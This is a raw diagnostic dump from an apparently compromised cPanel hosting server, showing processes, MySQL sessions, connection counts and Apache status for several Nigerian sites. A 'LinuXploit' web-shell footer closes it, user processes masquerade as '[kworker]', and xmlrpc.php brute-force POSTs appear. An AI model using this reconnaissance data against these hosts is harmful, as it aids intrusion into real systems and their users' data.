root       2132  0.0  1.2 267108 30876 ?        Ss   Nov07   0:02 /usr/sbin/httpd -k start
root      30837  0.0  0.0  12784  1392 ?        S    01:28   0:00  \_ /usr/local/cpanel/bin/splitlogs --dir=/etc/apache2/logs/domlogs --main=chs1.nescrow.com.ng --suffix=-bytes_log
root      30838  0.0  0.0  12732  1364 ?        S    01:28   0:00  \_ /usr/local/cpanel/bin/splitlogs --main=apache-traffic.log --mainout=/var/log/cpanel-server-traffic/web/traffic-apache.log
root      30839  0.0  0.0  12788  1400 ?        S    01:28   0:00  \_ /usr/local/cpanel/bin/splitlogs --dir=/etc/apache2/logs/domlogs --main=chs1.nescrow.com.ng --mainout=/etc/apache2/logs/access_log
root      30851  0.0  0.4  53252 11768 ?        S    01:28   0:00  \_ /usr/local/cpanel/3rdparty/bin/perl /usr/local/cpanel/bin/leechprotect
nobody    76159  0.1  1.5 277980 36588 ?        S    02:44   0:03  \_ /usr/sbin/httpd -k start
cloudw     1932  0.0  0.6 286416 15208 ?        Rl   03:30   0:00  |   \_ /opt/cpanel/ea-php70/root/usr/bin/php-cgi
nobody    89981  0.1  1.5 278088 36372 ?        S    03:05   0:01  \_ /usr/sbin/httpd -k start
nobody    90543  0.1  1.5 277944 36356 ?        S    03:06   0:01  \_ /usr/sbin/httpd -k start
nobody    94664  0.1  1.4 277956 35864 ?        S    03:13   0:01  \_ /usr/sbin/httpd -k start
nobody    95749  0.1  1.4 277652 35876 ?        S    03:15   0:00  \_ /usr/sbin/httpd -k start
nobody    96609  0.1  1.4 277632 35744 ?        S    03:17   0:00  \_ /usr/sbin/httpd -k start
nobody    97898  0.1  1.4 277968 35832 ?        S    03:19   0:00  \_ /usr/sbin/httpd -k start
nobody    97906  0.1  1.4 277944 36000 ?        S    03:19   0:00  \_ /usr/sbin/httpd -k start
nobody    97907  0.1  1.4 277632 35992 ?        S    03:19   0:00  \_ /usr/sbin/httpd -k start
nobody   100597  0.1  1.4 277616 35612 ?        S    03:23   0:00  \_ /usr/sbin/httpd -k start
nobody   100789  0.1  1.4 277680 35884 ?        S    03:24   0:00  \_ /usr/sbin/httpd -k start
nobody   101980  0.0  1.4 277632 35404 ?        S    03:26   0:00  \_ /usr/sbin/httpd -k start
nobody   101983  0.1  1.4 277612 35384 ?        S    03:26   0:00  \_ /usr/sbin/httpd -k start
nobody   101984  0.0  1.4 277968 35616 ?        S    03:26   0:00  \_ /usr/sbin/httpd -k start
nobody      436  0.0  1.4 277984 35744 ?        S    03:27   0:00  \_ /usr/sbin/httpd -k start
nobody     1279  0.2  1.4 277632 35144 ?        S    03:29   0:00  \_ /usr/sbin/httpd -k start
nobody     1392  0.0  1.4 277632 35096 ?        S    03:29   0:00  \_ /usr/sbin/httpd -k start
nobody     1401  0.0  1.4 277952 35284 ?        S    03:29   0:00  \_ /usr/sbin/httpd -k start
nobody     1402  0.1  1.4 277632 34936 ?        S    03:29   0:00  \_ /usr/sbin/httpd -k start
oysipao+   8253  0.0  0.0   3148     8 ?        Ss   Nov07   0:00 [kworker]
oysipao+   8272  0.0  0.0   3152    36 ?        S    Nov07   0:00  \_ [kworker]
root      75823  0.1  1.2 182636 29720 ?        Ss   00:00   0:13 lfd - sleeping
root      87167  0.0  0.4 1276100 10744 ?       Ssl  03:00   0:00 /usr/bin/cspdaemon
root      87201  0.0  0.4 1277312 11540 ?       Ssl  03:00   0:00 /usr/bin/checkstatus
root      87606  0.0  0.0 123576   696 ?        Ss   03:01   0:00 /usr/sbin/anacron -s
root      99417  0.0  0.0 113284  1488 ?        SN   03:22   0:00  \_ /bin/bash /bin/run-parts /etc/cron.daily
root      99749  0.0  0.0 113284  1496 ?        SN   03:22   0:00      \_ bash /etc/cron.daily/maldet
root      99803  0.0  0.0 108056   356 ?        SN   03:22   0:00      |   \_ sleep 691
root      99750  0.0  0.0 113644   976 ?        SN   03:22   0:00      \_ awk -v progname=/etc/cron.daily/maldet progname { ????   print progname ":\n" ????   progname=""; ???       } ???       { print; }
root      99439  0.0  0.1 132964  4548 ?        SN   03:22   0:00 ConfigServer Version Check
root      99450  0.0  0.0 108056   360 ?        SN   03:22   0:00  \_ sleep 8223
## mysql stats
Uptime: 31195  Threads: 4  Questions: 5753388  Slow queries: 0  Opens: 10761  Flush tables: 1  Open tables: 2000  Queries per second avg: 184.433
*************************** 1. row ***************************
     Id: 82070
   User: pactpay_testing1
   Host: localhost
     db: pactpay_real
Command: Query
   Time: 0
  State: updating
   Info: UPDATE `currency_rate` SET
`response` = '{\n  \"error\": true,\n  \"status\": 401,\n  \"message\": 
*************************** 2. row ***************************
     Id: 82075
   User: nigeria_decide
   Host: localhost
     db: nigeria_decide
Command: Sleep
   Time: 0
  State: 
   Info: NULL
*************************** 3. row ***************************
     Id: 82078
   User: healthoyostate78_oyohealth
   Host: localhost
     db: healthoyostate78_oyohealth
Command: Sleep
   Time: 0
  State: 
   Info: NULL
*************************** 4. row ***************************
     Id: 82082
   User: root
   Host: localhost
     db: NULL
Command: Query
   Time: 0
  State: starting
   Info: show processlist
## network stats
      1 173.199.190.172 TIME_WAIT
      1 ::1 TIME_WAIT
      1 51.222.204.143 TIME_WAIT
      1 66.249.70.198 TIME_WAIT
      1 74.7.227.217 TIME_WAIT
      1 74.7.227.44 TIME_WAIT
      1 74.7.228.63 TIME_WAIT
      1 74.7.230.51 TIME_WAIT
      2 10.30.9.122 TIME_WAIT
      2 10.30.9.138 TIME_WAIT
      2 127.0.0.1 TIME_WAIT
      2 178.20.44.82 TIME_WAIT
      2 43.153.96.233 TIME_WAIT
      3 47.128.16.176 TIME_WAIT
     39 103.253.27.28 TIME_WAIT
     40 103.253.27.139 TIME_WAIT
## httpd stats
                                                                                                                                                                                  Apache Server Status for localhost (via ::1)

   Server Version: Apache/2.4.65 (cPanel) OpenSSL/1.1.1w mod_bwlimited/1.4
   Server MPM: prefork
   Server Built: Oct 28 2025 23:52:55
     __________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

   Current Time: Saturday, 08-Nov-2025 03:30:02 WAT
   Restart Time: Friday, 07-Nov-2025 18:50:11 WAT
   Parent Server Config. Generation: 4
   Parent Server MPM Generation: 3
   Server uptime: 8 hours 39 minutes 50 seconds
   Server load: 1.57 1.01 1.11
   Total accesses: 156559 - Total Traffic: 2.6 GB - Total Duration: 80997503
   CPU Usage: u11.21 s5.86 cu1360.52 cs917.58 - 7.36% CPU load
   5.02 requests/sec - 87.4 kB/second - 17.4 kB/request - 517.361 ms/request
   14 requests currently being processed, 0 workers gracefully restarting, 5 idle workers

_WKKWRRK_RW__K_R...KKK..........................................
................................................................
................................................................
................................................................

   Scoreboard Key:
   "_" Waiting for Connection, "S" Starting up, "R" Reading Request,
   "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup,
   "C" Closing connection, "L" Logging, "G" Gracefully finishing,
   "I" Idle cleanup of worker, "." Open slot with no current process

   Srv   PID      Acc     M CPU    SS   Req   Dur   Conn  Child  Slot      Client     Protocol           VHost                                        Request
   0-3  95749  0/315/8506 _ 3.55  0     0   4406437 0.0   3.59  151.82 127.0.0.1      http/1.1 chs1.nescrow.com.ng:80     GET /whm-server-status HTTP/1.0
   1-3  436    0/41/8916  W 0.55  0     0   4601390 0.0   0.41  162.72 103.253.27.139 http/1.1 health.oyostate.gov.ng:443 POST //xmlrpc.php HTTP/1.1
   2-3  1279   11/24/8983 K 0.54  1     402 4633817 339.6 0.61  164.40 66.249.70.200  http/1.1 schoolplus.cloudware.ng:80 GET /?p=1487248463 HTTP/1.1
   3-3  1392   4/16/8029  K 0.10  0     3   4194197 98.7  0.21  136.84 74.7.227.143   http/1.1 fsl.ng:443                 GET /cPanel_magic_revision_1648610195/unprotected/cpanel/fonts/
   4-3  76159  1/762/9045 W 13.98 0     0   4390662 31.0  13.14 139.03 66.249.70.196  http/1.1 schoolplus.cloudware.ng:80 GET /?p=3045645159 HTTP/1.1
   5-3  100597 0/121/7967 R 1.39  64    313 4185798 0.0   1.62  140.74 47.128.16.176  http/1.1
   6-3  94664  0/359/8282 R 9.29  64    301 4404322 0.0   5.17  158.03 47.128.16.176  http/1.1
   7-3  90543  1/505/8075 K 6.91  0     392 4030077 31.5  9.63  141.41 66.249.70.195  http/1.1 schoolplus.cloudware.ng:80 GET /?p=3252029249 HTTP/1.1
   8-3  100789 0/109/7282 _ 1.78  0     17  4021497 0.0   2.08  133.53 100.28.44.58   http/1.1 nigeriadecide.org:443      GET /polling_unit_category.php/2019elections/2019elections/blog
   9-3  101980 0/47/7424  R 0.76  64    10  3944515 0.0   0.95  124.66 47.128.16.176  http/1.1
   10-3 89981  0/530/7435 W 6.70  0     0   3691290 0.0   6.84  137.78 ::1            http/1.1 chs1.nescrow.com.ng:80     GET //whm-server-status HTTP/1.0
   11-3 101983 0/60/7030  _ 1.17  0     0   3487048 0.0   1.05  107.80 ::1            http/1.1 chs1.nescrow.com.ng:80     GET //whm-server-status HTTP/1.0
   12-3 101984 0/64/6367  _ 0.74  0     5   3224683 0.0   0.73  96.25  14.235.195.210 http/1.1 nigeriadecide.org:443      GET /polling_unit_category.php?lga=Etsako+east&state=Edo&ward=W
   13-3 96609  2/226/5271 K 2.96  4     146 2851762 22.6  3.40  91.32  172.213.21.125 http/1.1 nigeriadecide.org:443      GET / HTTP/1.1
   14-3 1401   0/13/4596  _ 0.08  0     285 2441210 0.0   0.13  72.94  103.253.27.28  http/1.1 health.oyostate.gov.ng:443 POST //xmlrpc.php HTTP/1.1
   15-3 1402   0/18/5073  R 0.37  1     290 2615389 0.0   0.42  81.51  103.253.27.28  http/1.1 health.oyostate.gov.ng:443
   16-3 -      0/0/5138   . 0.00  232   0   2633501 0.0   0.00  83.23  ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   17-3 -      0/0/4493   . 0.00  344   0   2360137 0.0   0.00  71.70  ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   18-3 -      0/0/3151   . 0.00  272   0   1820234 0.0   0.00  47.47  ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   19-3 97898  3/184/3056 K 3.03  3     257 1862020 95.5  3.18  46.68  66.249.70.194  http/1.1 schoolplus.cloudware.ng:80 GET /?p=1537936588 HTTP/1.1
   20-3 97906  1/176/2460 K 2.48  4     389 1379435 31.5  2.86  38.29  66.249.70.197  http/1.1 schoolplus.cloudware.ng:80 GET /?p=3560050055 HTTP/1.1
   21-3 97907  2/184/2759 K 2.60  2     391 1550983 63.8  3.18  42.94  66.249.70.193  http/1.1 schoolplus.cloudware.ng:80 GET /?p=19024738 HTTP/1.1
   22-3 -      0/0/2037   . 0.00  635   0   1214155 0.0   0.00  38.74  ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   23-3 -      0/0/422    . 0.00  623   0   205510  0.0   0.00  7.09   ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   24-3 -      0/0/1641   . 0.00  5137  0   883602  0.0   0.00  32.45  ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   25-3 -      0/0/1711   . 0.00  5145  0   733768  0.0   0.00  26.26  ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   26-3 -      0/0/949    . 0.00  5157  0   513824  0.0   0.00  19.58  ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   27-3 -      0/0/348    . 0.00  5156  0   135791  0.0   0.00  3.77   ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   28-3 -      0/0/772    . 0.00  5158  0   288804  0.0   0.00  11.10  ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   29-3 -      0/0/736    . 0.00  3573  0   449336  0.0   0.00  10.09  ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   30-3 -      0/0/127    . 0.00  5144  0   44598   0.0   0.00  1.93   ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   31-3 -      0/0/615    . 0.00  5155  0   305307  0.0   0.00  14.56  ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   32-3 -      0/0/186    . 0.00  5140  0   86066   0.0   0.00  2.58   ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   33-3 -      0/0/45     . 0.00  5143  0   7032    0.0   0.00  0.21   ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   34-3 -      0/0/280    . 0.00  4973  0   117255  0.0   0.00  4.08   ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   35-3 -      0/0/34     . 0.00  5167  0   4925    0.0   0.00  0.23   ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   36-3 -      0/0/271    . 0.00  5149  0   138957  0.0   0.00  4.03   ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   37-3 -      0/0/180    . 0.00  4847  0   80106   0.0   0.00  2.49   ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   38-3 -      0/0/70     . 0.00  5168  0   27450   0.0   0.00  0.64   ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   39-3 -      0/0/55     . 0.00  5142  0   23711   0.0   0.00  0.69   ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   40-3 -      0/0/120    . 0.00  4924  0   47805   0.0   0.00  1.27   ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   41-3 -      0/0/41     . 0.00  5148  0   13053   0.0   0.00  0.37   ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   42-3 -      0/0/343    . 0.00  5128  0   157003  0.0   0.00  4.56   ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   43-3 -      0/0/1852   . 0.00  5152  0   792927  0.0   0.00  30.21  ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   44-3 -      0/0/70     . 0.00  5165  0   19485   0.0   0.00  0.69   ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   45-3 -      0/0/207    . 0.00  5153  0   100344  0.0   0.00  2.84   ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   46-3 -      0/0/17     . 0.00  5154  0   3427    0.0   0.00  0.18   ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   47-3 -      0/0/61     . 0.00  5166  0   23416   0.0   0.00  0.56   ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   48-3 -      0/0/373    . 0.00  5006  0   143685  0.0   0.00  4.45   ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   49-2 -      0/0/16     . 0.00  7441  0   5601    0.0   0.00  0.12   ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   50-2 -      0/0/69     . 0.00  7415  0   32068   0.0   0.00  1.06   ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   51-2 -      0/0/94     . 0.00  7427  0   46144   0.0   0.00  1.46   ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   52-2 -      0/0/24     . 0.00  7425  0   7231    0.0   0.00  0.23   ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   53-2 -      0/0/902    . 0.00  7306  356 427396  0.0   0.00  16.37  66.249.70.193  http/1.1 schoolplus.cloudware.ng:80 GET /?p=3995667990 HTTP/1.1
   54-2 -      0/0/220    . 0.00  7437  0   104301  0.0   0.00  4.12   ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   55-2 -      0/0/20     . 0.00  7410  0   5450    0.0   0.00  0.14   ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   56-2 -      0/0/53     . 0.00  7304  352 26129   0.0   0.00  0.72   66.249.70.32   http/1.1 support.cloudware.ng:443   GET /ctg/search/similarImageSearchResultView/?ctgItemCd=285079
   57-1 -      0/0/18     . 0.00  8286  0   7494    0.0   0.00  0.30   ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   58-1 -      0/0/61     . 0.00  8122  0   26486   0.0   0.00  0.85   ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   59-1 -      0/0/67     . 0.00  8345  0   37042   0.0   0.00  1.00   ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   60-1 -      0/0/14     . 0.00  8303  0   4755    0.0   0.00  0.12   ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   61-1 -      0/0/18     . 0.00  8349  0   8011    0.0   0.00  0.18   ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   62-1 -      0/0/13     . 0.00  8325  0   3968    0.0   0.00  0.12   ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   63-1 -      0/0/234    . 0.00  8310  0   126089  0.0   0.00  4.12   ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   64-1 -      0/0/570    . 0.00  8304  0   196325  0.0   0.00  9.92   ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   65-1 -      0/0/249    . 0.00  7433  282 111456  0.0   0.00  3.97   102.90.98.148  http/1.1
   66-1 -      0/0/234    . 0.00  8312  0   130247  0.0   0.00  4.34   ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   67-1 -      0/0/13     . 0.00  8344  0   4952    0.0   0.00  0.22   ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   68-1 -      0/0/13     . 0.00  8298  0   5501    0.0   0.00  0.22   ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   69-1 -      0/0/9      . 0.00  8315  0   4783    0.0   0.00  0.18   ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   70-1 -      0/0/16     . 0.00  8330  0   9834    0.0   0.00  0.45   ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   71-1 -      0/0/10     . 0.00  8324  0   3804    0.0   0.00  0.11   ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   72-1 -      0/0/6      . 0.00  8332  0   1625    0.0   0.00  0.05   ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   73-1 -      0/0/11     . 0.00  8288  0   3678    0.0   0.00  0.08   ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   74-1 -      0/0/10     . 0.00  8306  0   5547    0.0   0.00  0.22   ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   75-1 -      0/0/7      . 0.00  8307  0   2381    0.0   0.00  0.02   ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   76-1 -      0/0/7      . 0.00  8333  0   3573    0.0   0.00  0.06   ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   77-1 -      0/0/675    . 0.00  8302  0   351530  0.0   0.00  15.04  ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   78-0 -      0/0/2      . 0.00  15917 0   641     0.0   0.00  0.01   ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   79-0 -      0/0/3      . 0.00  15905 0   1675    0.0   0.00  0.03   ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
     __________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

    Srv  Child Server number - generation
    PID  OS process ID
    Acc  Number of accesses this connection / this child / this slot
     M   Mode of operation
    CPU  CPU usage, number of seconds
    SS   Seconds since beginning of most recent request
    Req  Milliseconds required to process most recent request
    Dur  Sum of milliseconds required to process all requests
   Conn  Kilobytes transferred this connection
   Child Megabytes transferred this child
   Slot  Total megabytes transferred this slot
     __________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

   SSL/TLS Session Cache Status:
   cache type: SHMCB, shared memory: 1024000 bytes, current entries: 329
   subcaches: 32, indexes per subcache: 177
   time left on oldest entries' objects: avg: 32 seconds, (range: 2...173)
   index usage: 5%, cache usage: 7%
   total entries stored since starting: 12157
   total entries replaced since starting: 0
   total entries expired since starting: 11826
   total (pre-expiry) entries scrolled out of the cache: 0
   total retrieves since starting: 0 hit, 43 miss
   total removes since starting: 3 hit, 0 miss

Youez - 2016 - github.com/yon3zu
LinuXploit